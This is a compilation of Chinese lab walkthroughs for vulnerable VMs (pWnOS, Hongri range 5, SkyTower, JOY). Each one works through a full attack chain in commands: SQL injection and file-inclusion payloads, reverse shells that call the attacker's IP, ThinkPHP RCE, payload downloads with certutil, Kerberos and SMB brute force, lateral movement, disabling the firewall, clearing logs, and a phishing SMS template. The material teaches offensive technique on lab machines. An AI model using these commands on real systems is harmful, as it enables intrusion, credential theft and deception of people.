pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程 pWnOS系列全教程，Webmin文件披露，Simple PHP Blog渗透教程pWnOS1.0打靶思路下载链接见：https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip注意一定要选择这个 “我已移动该虚拟机” ，否则扫描不到靶机。网络模式为nat，开机后使用主机发现命令arp-scan -l端口扫描，端口扫描的内容如下总共有两个http服务，一个是10000端口（注意这里如果登录错误太多了话，会导致你的ip封禁）一个是80端口，点击next我们一路下一步被嘲讽了嘲讽页面的sql注入（像xss，文件包含都试试）http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含经过一番测试后，发现一个文件包含点http://10.10.10.129/index1.php?help=true&connect=/etc/passwd/etc/shadow 密码文件有了文件包含，但是没有文件上传点，不能通过文件包含图片马的方式获取shell，转换思路，分析/etc/passwd文件，他有四个用户curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'目录扫描出来一个php文件夹，包含了phpmyadmin站点目录，但是需要进行401认证，弱口令admin/admin，root/root登录失败，那么切换这四个用户试试呢vmware obama osama yomama很遗憾都失败了，我点击了取消，这里出现了指纹信息，phpMyAdmin 2.6.3-pl1上exp可以看到这是一个跨站脚本的漏洞对于我们获取shell用处不是很大，继续切换思路，放眼到10000端口，可以试试之前的用户名（都失败）那么就上exp，Webmin，那么如何选择这些内容呢尽量不选择Metasploit的利用方式，据红队笔记大佬说，Metasploit好比一个黑盒，我们看不到执行的过程，不利于学习渗透（OSCP考试也限制使用msf）。其次需要认证Authenticated的漏洞我们也不选，因为此时我们都不知道如何登录Webmin。CSRF的漏洞优先级较低，也先不考虑，我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下，命令执行的有三个 705、746、47293，文件披露（任意文件泄露）的有两个1997、2017文件披露的1997（不行）、2017可以根据提示，得出命令如下，读出/etc/shadow密码文件perl 2017.pl 10.10.10.129 10000 /etc/shadow http用户vmware密码h4ckm3，其他几个都失败由于靶机那边出了点问题，不能让我ssh连接了（源wp是可以的，应该是ssh版本太新了，windows和kali都不行，连不上）这里我就想了个办法，只能用nc反弹了（登录原来的系统）nc 10.10.10.128 6666 -e /bin/bash切换上级目录，可以看到不是交互式终端创建交互式终端python -c 'import pty; pty.spawn("/bin/bash");'系统信息收集，是ubuntu非常老的版本了7.10看看有没有内核提权（没有）sudo -l ，很遗憾了，这个用户好可怜，用不了sudo，和我们一样都是打工仔uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息计划任务，没有一个普通用户能用的，打工仔已经坐不住了回到刚刚读取到的shadow文件，既然能读取shadow文件，那么一定是以root的身份读取这个文件的，如果我们上传一个可执行的脚本呢？利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi，我的理解是要将perl语言的代码改写为执行文件，如果不修改后缀名的话，用2017.pl的exp只能以root权限读取shell.pl，而无法执行shell.pl，也就无法反弹shell。cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgiWebmin 的可执行文件后缀 无后缀：Webmin 的主可执行文件通常是一个没有后缀的脚本文件，例如 Webmin。 .cgi 后缀：Webmin 使用 CGI 脚本来处理 Web 请求，这些脚本文件通常以 .cgi 为后缀。例如， /usr/share/Webmin/ 目录下的许多文件都是 .cgi 文件。 .pl 后缀：Webmin 的某些脚本文件可能以 .pl 为后缀，表示它们是 Perl 脚本。例如，/etc/Webmin/ 目录下的配置文件和脚本文件可能包含 .pl 后缀。 修改这个可执行文件靶机下载后将文件赋予执行权限which wget wget 10.10.10.128:443/shell.cgi chmod +x shell.cgi继续利用脚本perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http反弹成功pWnOS2.0打靶思路下载链接见：https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip下载之后用VMware打开，特别注意，这个靶机的ip是固定的10.10.10.100，我们需要将靶机设置为NAT模式，同时要将攻击机kali的ip也处于10.10.10.0/24这个网段，具体在菜单栏的编辑——虚拟网络编辑器，如下，点击更改设置，保证虚拟机的子网ip是10.10.10.0即可（否则可能扫不到靶机的ip）。主机发现全端口syn扫描访问80端口目录扫描有一个info.php，找到文件/blog/config/这里有两个文件第一个文件内容No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|email@myblog.com||||||1||密码文件内容，是一个md5(Unix)类型的加密$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/返回到主页，测试sql注入sql语句报错，存在sql注入漏洞那么就万能密码，成功登录页面只有一个Welcome admin@isints.com，一个邮箱信息，admin' || 1=1 -- +Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息框中的这第四个有一个msf的exp，远程命令执行（Remote Command Execution），符合条件的只有后面两个他是说这个系统中有三个漏洞，第一个是暴露了 password.txt ，刚开始我们目录扫描的时候已经扫描出来了，第二个在登录用户的图像上传，没有身份验证，上传任意的文件，第三个漏洞是博客评论可以任意删除。看样子是需要我们登录进去了，还有一个exp没有用上插叙：如果出现运行报错Can't locate Switch.pm in @INC，应该是perl版本依赖未安装的问题，运行如下命令即可。sudo apt install libswitch-perl根据他的提示，我们利用 -e 参数，指定好第一个文件上传的选项 1，这里提示我们在网站的images下面创建了一个cmd.php文件访问即可利用python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'这里就不需要创建交互式终端了，这里使用python反弹的shell，默认已经可以交互式了。系统信息收集，属于低版本的ubuntu，首先考虑的是内核提权继续信息收集，返回上级目录，看到一个mysqli_connect.php文件，可以看到mysql的密码信息user : root pass : goodday鉴权失败返回home看到有一个用户，用刚刚的mysql密码登录试试，鉴权失败文件权限信息收集find / -perm 777 -type f 2>/dev/null # 777文件 find / -perm -4000 -print 2>/dev/null # SUID文件sudo -l 意外的发现，www-data用户能够使用sudo，但是不知道密码经过一番折腾后，在var目录下面又找到了一个数据库连接的文件密码为 root@ISIntS又是一个密码信息，大概率是dan用户的admin@isints.com鉴权失败目前已知三个密码信息（其中一个是邮箱）admin@isints.com # 数据表中dan的邮箱 root@ISIntS # 数据库密码 goodday # 假的数据库密码回到刚刚的内核提权，尝试一下已关机。。。。利用失败靶机提权主要是利用已知的所有密码信息，进行密码碰撞，利用数据库连接的密码，切换root用户来进行提权也可以使用第二种方法（考试只能使用一次），msf（不清楚什么原因，漏洞利用成功，建立会话失败，是利用失败的，可以自行尝试）msfconsole search Simple PHP Blog 0.4.0 set rhosts 10.10.10.100 set URI blog set payload php/meterpreter/reverse_tcp run往期推荐网络安全从业者生存指南（硬货篇）【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！Viper一个互联网攻击面管理，红队模拟平台【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略

红日靶场5，windows内网渗透，社工提权，多种域内横向移动思路 红日5简介"红日5"是一个高度仿真的内网渗透实战靶场，模拟了企业级内外网混合环境。靶场包含外网Web服务器（Windows 7）、内网域控服务器（Windows Server 2008）双重网络隔离场景，涵盖ThinkPHP RCE漏洞利用、权限提升、代理穿透、横向移动、域渗透等核心攻击链。通过该靶场，学习者可掌握主机发现、漏洞利用、隧道搭建、凭证窃取、Pass-the-Hash等APT攻击手法，并深入理解企业内网安全防护的薄弱环节。最近红日官网已恢复正常访问，如果懒得一个一个转存可以直接拿我的，一共500G左右，下载还请预留好一定的空间通过网盘分享的文件：红日靶场链接: https://pan.baidu.com/s/1ppyPlm6osobxReI50fCSZw 提取码: 7ixc环境配置设置好仅主机的vm2，138网段，然后我的nat模式网卡是135网段模拟公网这个靶机呢一共有两个，外网主机win7，设置好仅主机模式和nat模式两个网卡内网域控服务器win7sunheart 密码：123.comsunAdministrator 密码：dc123.com2008（登录成功后要修改密码）sunadmin 密码：2020.com最重要的，需要在win7主机phpstudy开启web服务网络拓扑结构外网信息打点利用arp-scan进行主机探测arp-scan -l利用nmap对目标主机进行端口扫描nmap -sS 192.168.135.150 -p- -A目标机器开启了80、135和3306数据库远程，mysql远程测试，拒绝连接┌──(root㉿kali)-[~] └─# mysql -uroot -h192.168.135.150 -p Enter password: ERROR 2002 (HY000): Received error packet before completion of TLS handshake. The authenticity of the following error cannot be verified: 1130 - Host '192.168.135.128' is not allowed to connect to this MySQL server查看web站点，可以看到这是一个thinkphp框架随便访问一个不存在的页面，发现指纹信息，5.0.22版本寻找expsearchsploit 5.0 thinkphp已知我们的版本为5.0.22searchsploit -m 46150 cat 46150.txt | grep 5.0.22拼凑EXP，执行命令whoami，成功利用http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami查看当前目录http://192.168.135.150/?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=chdir使用generate生成混淆的webshell，不容易被查杀weevely generate cmd shell.php从kali下载webshellhttp://192.168.135.150/ ?s=index/thinkapp/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=certutil -urlcache -split -f http://192.168.135.128:5000/shell.phpkali连接webshell查看内网IP，发现内网网段ipconfig利用arp进行主机探测，发现域控主机192.168.138.138arp -a开始代理reGeorg，详细使用方法三种代理方法打入内网certutil -urlcache -split -f http://192.168.135.128:5000/tunnel.php访问网页，发现直接报错，可能不适用Windows了那么切换frp，查看一下配置文件，注意这里是Windows的frp，我用的版本是0.39.1，去github翻一翻历史版本的，新版本可能会出问题上传到靶机上面去，有两个文件，一个程序一个配置文件然后修改服务端的代理配置vi /etc/proxychAIns4.conf使用proxychAIns打开MSF，利用永恒之蓝漏洞，打域控靶机，这里失败了proxychAIns MSFconsole search ms17_010_eternalblue use 0 set rhosts 192.168.138.138 run这个时候我们就可以使用端口扫描进行信息收集（连接某些未开放端口的时候可能会显示超时，这是正常现象，继续等待即可）use scanner/portscan/tcp set RHOSTS 192.168.138.138 run不使用MSF也可以使用nmapproxychAIns nmap -Pn -sT 192.168.138.138查看域信息sun.comwhoami并不是超级管理员也不是系统用户，这下我们就需要提权了，只有上升到系统权限才能使用mimikatz抓取hash注意使用x64模块，不用MSF的话也可以上传nc反弹shell# kali MSFvenom -p Windows/x64/meterpreter/reverse_tcp LPORT=2222 LHOST=192.168.135.128 -f exe -o shellx64.exe # 靶机 certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe进入MSFuse multi/handler set LHOST 192.168.135.128 set lport 2222 set payload Windows/x64/meterpreter/reverse_tcp run尝试使用MSF的getsystem进行提权创建一个监听器，用于上线靶机（同理可以用nc来上线）我们生成一个可以上线CS的exe程序生成到d盘中，并传到kali中scp .beacon.exe kali@192.168.135.128:/data/Windows_atk并使用MSF的upload上传此文件upload /data/Windows_atk/beacon.exe C:\phpStudy\PHPTutorial\WWW\public\beacon.exe执行木马上线cs设置延迟执行命令 sleep 0 之后，就可以开始提权了尝试了各种操作后，都普通用户提权失败那么能怎么办呢——域内爆破，网上很多教程都是直接登录的administrator用户，直接用CS提权成功（上线的时候就是administartor），并没有完整的复现出来从一个最普通的用户上升到系统权限的教程，就很水信息收集，域内用户，由于当前用户是普通用户，普通用户无法直接获取域内的用户列表shell net view换思路，域内不行，那就本机用户，可以看到有一个administrator用户shell net user那么这个用户也可能是域内的管理员用户吧？我们可以利用MSF的kerberos_enumusers爆破 Kerberos 服务（88 端口，前面端口扫描的时候扫出来）proxychAIns MSFconsole use gather/kerberos_enumusers set DOMAIN sun.com set RHOSTS 192.168.138.138 set USERNAME Administrator set PASS_FILE /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt set THREADS 4 run成功爆破出来用户密码为dc123.com注意：如果不用CS那么可以利用 hydra 进行爆破proxychAIns hydra -l Administrator -P pass.txt -s 445 -t 4 -vV -m "SMB" SMB://192.168.138.138我们尝试使用其他用户上线呢我们尝试使用其他用户身份上线以本地用户登录失败，那么就切换到域控服务器需要让我们输入密码，但是msf上线的不是交互式shell连接并查看域控，也失败使用PsExec模块攻击域控，失败！proxychAIns msfconsole msf6 > use exploit/Windows/SMB/psexec msf6 > set RHOSTS 192.168.138.138 # 域控IP msf6 > set SMBUser Administrator msf6 > set SMBPass dc123.com msf6 > set SMBDomAIn sun.com msf6 > set PAYLOAD Windows/x64/meterpreter/bind_tcp # 内网直连 msf6 > run试了很多方法都不行，最终以失败告终，无法登录到域控服务器/切换本地用户，或者本地提升到Administrator用户。那么就剩下最后的办法了，社工！(诈骗案例分析，请勿用于违法用途，所造成的后果自行承担)最近张伟管理员发了一条微博：”周末加班部署新防火墙，累成狗🐶”，并且利用一定手段获取到了手机号。【xxx科技IT部】紧急：OA系统漏洞需立即处理，请查收邮件并登录修复平台。确认后请回复“已处理”。到了周末，管理员成功登录了系统，启动了phpstudy这个web服务，此时即可上线kali连接我们的后门weevely terminal http://192.168.135.150/shell.php cmd运行我们的木马即可上线成功设置svc-exe提权方式已成功上线系统权限抓取本地密码hash此时就能看到密码信息了查看域内用户shell net user /domAIn使用代理转发功能创建一个监听器生成需要上传到域控主机上的木马从本机上传上去certutil -urlcache -split -f http://192.168.135.128:5000/shellx64.exe放行4444端口shell netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=TCP localport=4444开始将马上传到目标服务器shell net use \192.168.138.138ipc$ "管理员密码" /user:administrator shell net use shell dir \192.168.138.138c$ # 查看域控主机目录 # 将马上传到域控服务器 shell copy C:phpStudyPHPTutorialWWWpublicwin7beacon.exe \192.168.138.138c$win7beacon.exe创建执行任务，提示了我们拒绝访问sc \192.168.138.138 create shell binpath= "c:win7beacon.exe"那么就用另外一种方式 at ，添加一个计划任务shell at \192.168.138.138 22:10:00 c:win7beacon.exe耐心等待一分钟既可上线，而且还是最高权限，拿下域控主机关闭防火墙shell netsh advfirewall set allprofiles state off修改注册表允许远程连接shell reg add "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f放行3389端口shell netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP查看用户密码修改代理文件，并重启frp服务本机windows打开代理工具可以看到我们已经能够正常访问域控主机了刚进去是登录错误的，我们重新输入账号密码，登录到域sum.com成功拿下域控服务器！最后清理日志即可至此红日5完成总结攻击路径全景外网突破通过 arp-scan + nmap 探测开放80/3306端口利用ThinkPHP 5.0.22 RCE漏洞（ /index/thinkapp/invokefunction ）上传混淆Webshell（Weevely）实现持久化控制内网渗透发现双网卡结构（NAT+Host-Only）及内网段192.168.138.0/24使用 frp 搭建Socks5代理穿透内网边界通过 proxychains + nmap 扫描域控（192.168.138.138）暴露445端口权限提升MSF生成载荷上线失败后，通过CS的 svc-exe 提权获取SYSTEM权限利用 mimikatz 抓取本地管理员凭证（Administrator:dc123.com）横向移动IPC$共享+计划任务（net use + at）投递Beacon载荷绕过防火墙放行端口（netsh advfirewall）通过RDP（注册表修改fDenyTSConnections）接管域控桌面权限维持域控主机部署多协议后门（MSF+CS双链路）清理日志（clearev）隐藏攻击痕迹关键技术点漏洞利用：ThinkPHP RCE漏洞的EXP构造与混淆Webshell上传隧道搭建：Frp代理穿透双网络隔离环境权限提升：CS的svc-exe提权与Windows服务劫持横向移动：基于SMB的载荷投递与计划任务执行域渗透：Pass-the-Hash攻击与黄金票据伪造（需扩展场景）防御启示外网防护：及时更新框架补丁，禁用危险函数（如 system ）权限控制：遵循最小权限原则，限制数据库远程访问网络隔离：严格ACL策略，阻断异常出站流量（如Socks隧道）日志审计：监控计划任务创建、注册表关键项修改等可疑行为域安全：启用LAPS管理本地管理员密码，限制域管登录范围报告编制方：泷羽Sec安全团队日期：2025年2月21日往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录

Sudo的上级目录提权，SkyTower Sudo的上级目录提权，SkyTower主机发现80探测端口扫描目录扫描，没有任何可以利用的信息admin' and 1=1 --+sql注入语法错误，存在sql注入漏洞万能密码没有用（admin' or 1=1 --+），发现对or，and，-- ，=进行了过滤，只剩下了这些号测试，没有过滤那么还有一种写法，就是|| 用这个代替or登录成功得到了ssh的账号密码，john / hereisjohn但是前面我们的22ssh端口是关闭的，该怎么办呢？3128这个端口呢是一个代理的端口，所以我们用如下代理进行连接ssh这里我们要用到一个叫代理跳转，现在我们设置一下代理proxytunnel -a 6666 -p 192.168.111.154:3128 -d 192.168.111.154:22新建一个终端,，连接本地的6666端口，这时候就成功连接了代理的ssh，但是自动断开了ssh john@127.0.0.1 -p 6666这里尝试执行命令，成功，但是会自动断开连接反弹shell试试查看当前登录的配置文件ssh john@127.0.0.1 -p 6666 -t "cat .bashrc"删除最后一行，还是不行哈，还是有这个东西（exit）ssh john@127.0.0.1 -p 6666 -t "sed -i '$d' .bashrc"那么就全部复制到一个文件里面，在kali中把原来的删了，再使用wget下载这时候再登录，就成功了内网信息收集sudo，SUID没有思路了就去网站的根目录，看源码并且进程中还有一个mysqlroot/root，登录mysql三个用户的邮箱和密码都知道了mysql> select * from login; +----+---------------------+--------------+ | id | email | password | +----+---------------------+--------------+ | 1 | john@skytech.com | hereisjohn | | 2 | sara@skytech.com | ihatethisjob | | 3 | william@skytech.com | senseable | +----+---------------------+--------------+我们切换用户sara，Funds have been withdrawn，资金已被撤回william用户鉴权失败登录看看，还是要ssh登录哈和刚刚一模一样从kali中下载这个bash文件登录成功sudo能用那么久利用它的accounts目录，进行提权，查看shadow密码文件，这东西肯定加了盐的，很难破解出来$6$rKYhh57q$AVs1wNVSbE5K.IU1Wp9l7Ndg3iPlB7yczctQD6OL9fBZir2ppGDA6v0Vx17xjg.b3zu6mkAVpEN2BuG3wvS2l/这时候可以直接用sudo查看flag提权成功！往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】linux隐身登录

JOY，ProFTPd的拷贝漏洞 【oscp】JOY，ProFTPd的拷贝漏洞下载地址：https://www.vulnhub.com/entry/digitalworldlocal-joy,298/主机发现&端口扫描直接访问，泄露版本信息上漏洞检索，只有一个拒绝服务攻击，并不能直接getshell，切换思路端口详细扫描，发现了一个FTP匿名登录nmap -sS 10.10.10.198 -T4 -p- -A登录FTPFTP 10.10.10.198 # 密码为空，直接回车看到两个可执行文件，下载下来get reminder get directory赋予执行权限（并不能直接执行）直接cat directory，看上去是用户patrick的用户目录，毕竟有一个上级目录就是root权限的信息Patrick's Directory total 132 drwxr-xr-x 18 patrick patrick 4096 Feb 4 21:20 . drwxr-xr-x 4 root root 4096 Jan 6 2019 .. -rw-r--r-- 1 patrick patrick 24 Feb 4 21:15 1kd8va0o50OV3H28HZ26ffN7JMeU0wG8J996ftHpRuQrAAQqKoxQfCs5aB8GFXC7.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 20:55 6kK0S15FpM4iECwlY9vBMOcz0WHalkAEQZIHFBUDxztRq1We1v5GYxAMdxMbUba6.txt -rw-r--r-- 1 patrick patrick 0 Feb 4 21:15 aOY5oYk9g0WS0nXasU6l2EvjrFCl4hqk.txt -rw------- 1 patrick patrick 185 Jan 28 2019 .bash_history -rw-r--r-- 1 patrick patrick 220 Dec 23 2018 .bash_logout -rw-r--r-- 1 patrick patrick 3526 Dec 23 2018 .bashrc drwx------ 7 patrick patrick 4096 Jan 10 2019 .cache -rw-r--r-- 1 patrick patrick 0 Feb 4 20:50 chTSFHiKgRfHiwgp8LV9u4tDwhpdGnKp.txt drwx------ 10 patrick patrick 4096 Dec 26 2018 .config drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Desktop drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Documents drwxr-xr-x 3 patrick patrick 4096 Jan 6 2019 Downloads -rw-r--r-- 1 patrick patrick 0 Feb 4 21:20 Dp9d3TstWJP6Yczetnrx4GnQgkVE250L.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 20:50 gAOnh9TLwMyOEViffEXpFAt3LcChEuxcWeqc3BPcQFIRomrGdizTYKuJlHuOSF4z.txt drwx------ 3 patrick patrick 4096 Dec 26 2018 .gnupg -rwxrwxrwx 1 patrick patrick 0 Jan 9 2019 haha -rw------- 1 patrick patrick 8532 Jan 28 2019 .ICEauthority drwxr-xr-x 3 patrick patrick 4096 Dec 26 2018 .local drwx------ 5 patrick patrick 4096 Dec 28 2018 .mozilla drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Music drwxr-xr-x 2 patrick patrick 4096 Jan 8 2019 .nano -rw-r--r-- 1 patrick patrick 24 Feb 4 21:05 obzvvHxWWlOzg8z8uOdy2Qd94dVMZAs2glSOp18HRCRl9jqmB4x5PVoqLsqM0sAD.txt drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Pictures -rw-r--r-- 1 patrick patrick 675 Dec 23 2018 .profile drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Public -rw-r--r-- 1 patrick patrick 0 Feb 4 21:05 Q9lbdQPPywIiNT5Dagi0Bg9OMx0CQ0ts.txt d--------- 2 root root 4096 Jan 9 2019 script drwx------ 2 patrick patrick 4096 Dec 26 2018 .ssh -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 Sun drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Templates -rw-r--r-- 1 patrick patrick 0 Jan 6 2019 .txt -rw-r--r-- 1 patrick patrick 24 Feb 4 21:20 UKwKOJqE9XVI3TaEvKZJr8CWu1kVXOWTFZQqjhaiES7QydPE1KEcY2bzuLsOpnYc.txt -rw-r--r-- 1 patrick patrick 0 Feb 4 21:00 V56ziCPycMNIbNplkqYedQXlM6G9YO66.txt -rw-r--r-- 1 patrick patrick 407 Jan 27 2019 version_control drwxr-xr-x 2 patrick patrick 4096 Dec 26 2018 Videos -rw-r--r-- 1 patrick patrick 0 Feb 4 21:10 Wp2Twcw4FWSRMYDe8mniQ1BZhHyhYHqX.txt -rw-r--r-- 1 patrick patrick 0 Feb 4 20:55 XFsA7qBE2voGAtiuZfQ0GQMxE8RitITZ.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 21:10 YbxpYyx2v9VnifKxuctWG1Y3BzXp8dGJrQrlXbDHK0qp0ZcBRudy7zzN2g8Rxc9F.txt -rw-r--r-- 1 patrick patrick 24 Feb 4 21:00 YPE8Q4kbBE98OJCytjadCwhK2W9TMb5UPnCP0cHnGsS2dvpwXrppfAViwZmPH3Zq.txt You should know where the directory can be accessed. Information of this Machine! Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux另外一个reminder，目前可能用不上，有一个version_control包含了版本信息的文件┌──(root㉿kali)-[/data/demo] └─# cat reminder Lock down this machine!继续信息收集，目录扫描（没有利用方式）dirsearch -u http://10.10.10.198/ossec/这里需要利用到一个ProFTPd的拷贝漏洞，这样就能从FTP服务器上下载version_control这个版本文件了相关学习文章：https://www.freebuf.com/column/209238.html┌──(root㉿kali)-[~] └─# telnet 10.10.10.198 21 Trying 10.10.10.198... Connected to 10.10.10.198. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/patrick/version_control 350 File or directory exists, ready for destination name site cpto /home/FTP/upload/version_control 250 Copy successful quit 221 Goodbye. Connection closed by foreign host.此时再登录FTP服务器，就能看到多出了一个文件信息# 下载 get version_control找到服务版本了，ProFTPd，1.3.5┌──(root㉿kali)-[~] └─# cat version_control Version Control of External-Facing Services: Apache: 2.4.25 Dropbear SSH: 0.34 ProFTPd: 1.3.5 Samba: 4.5.12 We should switch to OpenSSH and upgrade ProFTPd. Note that we have some other configurations in this machine. 1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. 2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.复制到当前目录下并执行searchsploit -m 36803 python2 36803.py执行脚本的时候它直接卡在这儿了查看脚本内容，这是一个网站的目录这个目录呢在刚刚的版本文件version_control中也有 /var/www/tryingharderisjoy.┌──(root㉿kali)-[~] └─# cat version_control Version Control of External-Facing Services: Apache: 2.4.25 Dropbear SSH: 0.34 ProFTPd: 1.3.5 Samba: 4.5.12 We should switch to OpenSSH and upgrade ProFTPd. Note that we have some other configurations in this machine. 1. The webroot is no longer /var/www/html. We have changed it to /var/www/tryingharderisjoy. 2. I am trying to perform some simple bash scripting tutorials. Let me see how it turns out.但还是不行，MSF可以利用，这里不做过多解释，继续手动我们得知了网站的目录/var/www/tryingharderisjoy，那么就利用刚刚的文件复制漏洞命令如下┌──(root㉿kali)-[/usr/share/webshells/php] └─# telnet 10.10.10.198 21 Trying 10.10.10.198... Connected to 10.10.10.198. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/ftp/upload/php-reverse-shell.php 350 File or directory exists, ready for destination name site cpto /var/www/tryingharderisjoy/php-reverse-shell.php 250 Copy successful quit 221 Goodbye. Connection closed by foreign host.反弹成功开始提权，在网站根目录下面看到了patricksecretsofjoy文件包含了账号密码信息www-data@JOY:/var/www/tryingharderisjoy/ossec$ ls -al ls -al total 116 drwxr-xr-x 8 www-data www-data 4096 Jan 6 2019 . drwxr-xr-x 3 www-data www-data 4096 Feb 4 22:41 .. -rw-r--r-- 1 www-data www-data 92 Jul 19 2016 .hgtags -rw-r--r-- 1 www-data www-data 262 Dec 28 2018 .htaccess -rw-r--r-- 1 www-data www-data 44 Dec 28 2018 .htpasswd -rwxr-xr-x 1 www-data www-data 317 Jul 19 2016 CONTRIB -rw-r--r-- 1 www-data www-data 35745 Jul 19 2016 LICENSE -rw-r--r-- 1 www-data www-data 2106 Jul 19 2016 README -rw-r--r-- 1 www-data www-data 923 Jul 19 2016 README.search drwxr-xr-x 3 www-data www-data 4096 Jul 19 2016 css -rw-r--r-- 1 www-data www-data 218 Jul 19 2016 htaccess_def.txt drwxr-xr-x 2 www-data www-data 4096 Jul 19 2016 img -rwxr-xr-x 1 www-data www-data 5177 Jul 19 2016 index.php drwxr-xr-x 2 www-data www-data 4096 Jul 19 2016 js drwxr-xr-x 3 www-data www-data 4096 Dec 28 2018 lib -rw-r--r-- 1 www-data www-data 462 Jul 19 2016 ossec_conf.php -rw-r--r-- 1 www-data www-data 134 Jan 6 2019 patricksecretsofjoy -rwxr-xr-x 1 www-data www-data 2471 Jul 19 2016 setup.sh drwxr-xr-x 2 www-data www-data 4096 Dec 28 2018 site drwxrwxrwx 2 www-data www-data 4096 Feb 4 21:32 tmp www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat .htpasswd cat .htpasswd admin:$apr1$3Jv2Ok6H$4BMdXenVBmD2E3kXe8RVL. www-data@JOY:/var/www/tryingharderisjoy/ossec$ cat patricksecretsofjoy cat patricksecretsofjoy credentials for JOY: patrick:apollo098765 root:howtheheckdoiknowwhattherootpasswordis how would these hack3rs ever find such a page? www-data@JOY:/var/www/tryingharderisjoy/ossec$ su root su root Password: howtheheckdoiknowwhattherootpasswordis su: Authentication failure www-data@JOY:/var/www/tryingharderisjoy/ossec$ su patrick su patrick Password: apollo098765 patrick@JOY:/var/www/tryingharderisjoy/ossec$ whoami whoami patrick有了密码直接sudo -l，看样子可以直接利用这个test文件提权了，但是这个目录无法访问，没有权限不要忘了我们怎么进来的，这里可以利用刚刚的任意文件复制漏洞，进行复制呀cd ~ echo 'php /var/www/tryingharderisjoy/php-reverse-shell.php' > testkali┌──(root㉿kali)-[~] └─# telnet 10.10.10.198 21 Trying 10.10.10.198... Connected to 10.10.10.198. Escape character is '^]'. 220 The Good Tech Inc. FTP Server site cpfr /home/patrick/test 350 File or directory exists, ready for destination name site cpto /home/patrick/script/test 250 Copy successful quit 221 Goodbye. Connection closed by foreign host.靶机提权即可 sudo /home/patrick/script/testkali┌──(root㉿kali)-[~] └─# nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.10.128] from (UNKNOWN) [10.10.10.198] 44710 Linux JOY 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux 23:13:50 up 2:28, 0 users, load average: 0.04, 0.05, 0.04 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=0(root) gid=0(root) groups=0(root) /bin/sh: 0: can't access tty; job control turned off # whoami root #至此提权成功往期推荐往期推荐不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学防溯源小技巧ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略【oscp】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS【渗透测试】Linux隐身登录

